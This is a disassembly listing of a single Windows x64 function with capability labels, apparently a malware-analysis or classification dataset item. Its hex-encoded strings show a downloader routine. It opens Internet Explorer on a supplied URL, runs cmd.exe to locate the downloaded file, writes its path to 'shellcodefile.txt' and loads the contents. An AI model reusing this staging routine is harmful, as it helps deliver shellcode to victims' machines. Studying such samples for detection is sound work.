Function at 0x401932
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x998
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x940], rcx
mov qword [rbp + 0x948], rdx
lea rax, [rbp + 0x6f0]
mov r8d, 0x64
mov rdx, rax
lea rcx, str.PROGRAMFILES
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x6f0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x6f0]
add rax, rdx
movabs rbx, 0x656e7265746e495c
movabs rsi, 0x726f6c7078452074
mov qword [rax], rbx
mov qword [rax + 8], rsi
movabs rbx, 0x6c707865695c7265
movabs rsi, 0x6578652e65726f
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
lea rax, [rbp + 0x6f0]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x940]
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0x1f40
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov word [rbp + 0x6ee], 0x2f
lea rax, [rbp + 0x6ee]
mov rdx, rax
mov rcx, qword [rbp + 0x940]
call sym.strtok
mov qword [rbp + 0x908], rax
cmp qword [rbp + 0x908], 0
je 0x401a79
mov rax, qword [rbp + 0x908]
mov qword [rbp + 0x900], rax
lea rax, [rbp + 0x6ee]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x908], rax
jmp 0x401a44
mov word [rbp + 0x6ec], 0x2e
lea rdx, [rbp + 0x6ec]
mov rax, qword [rbp + 0x900]
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x908], rax
mov rax, qword [rbp + 0x908]
mov qword [rbp + 0x8f0], rax
lea rax, [rbp + 0x6ec]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x908], rax
lea rax, [rbp + 0x5b0]
mov r8d, 0x96
mov rdx, rax
lea rcx, str.USERPROFILE
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x650]
mov r8d, 0x96
mov rdx, rax
lea rcx, str.TEMP
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x650]
mov rcx, rax
call sym.strlen
sub rax, 5
mov byte [rbp + rax + 0x650], 0
mov qword [rbp + 0x3b0], 0x20432f
mov qword [rbp + 0x3b8], 0
lea rdx, [rbp + 0x3c0]
mov eax, 0
mov ecx, 0x3c
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x3b0]
mov r8d, 1
mov rcx, rax
call sym.strncat
lea rax, [rbp + 0x3b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x3b0]
add rax, rdx
movabs rbx, 0x206463202626203a
mov qword [rax], rbx
mov word [rax + 8], 0x22
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x3b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x3b0]
add rax, rdx
movabs rbx, 0x7269642026262022
movabs rsi, 0x622f20732f202e20
mov qword [rax], rbx
mov qword [rax + 8], rsi
movabs rsi, 0x20646e6966207c20
mov qword [rax + 0x10], rsi
mov word [rax + 0x18], 0x22
mov rdx, qword [rbp + 0x8f0]
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x3b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x3b0]
add rax, rdx
mov dword [rax], 0x203e2022
mov word [rax + 4], 0x22
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x3b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x3b0]
add rax, rdx
movabs rbx, 0x6f636c6c6568735c
movabs rsi, 0x742e656c69666564
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov dword [rax + 0x10], 0x227478
lea rax, [rbp + 0x1b0]
mov r8d, 0x1f4
mov rdx, rax
lea rcx, str.WINDIR
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x1b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x1b0]
add rax, rdx
movabs rdx, 0x336d65747379735c
movabs rcx, 0x78652e646d635c32
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov word [rax + 0x10], 0x65
lea rax, [rbp + 0x3b0]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x5b0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x50]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x50]
add rax, rdx
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov word [rax + 0x10], 0x7478
mov byte [rax + 0x12], 0
mov dword [rbp + 0x8fc], 0
mov dword [rbp + 0x8f8], 0
cmp dword [rbp + 0x8fc], 0
jne 0x401e46
cmp dword [rbp + 0x8f8], 0x3e8
jg 0x401e46
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.get_filesize_char_
mov dword [rbp + 0x8fc], eax
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp + 0x8f8], 1
jmp 0x401e08
mov ecx, dword [rbp + 0x8fc]
mov rdx, qword [rbp + 0x948]
lea rax, [rbp - 0x50]
mov r8d, ecx
mov rcx, rax
call sym.load_textfile_char__unsigned_char__int_
mov qword [rbp + 0x948], rax
mov eax, dword [rbp + 0x8fc]
cdqe
lea rdx, [rax - 2]
mov rax, qword [rbp + 0x948]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x948]
add rsp, 0x998
pop rbx
pop rsi
pop rdi
pop rbp
ret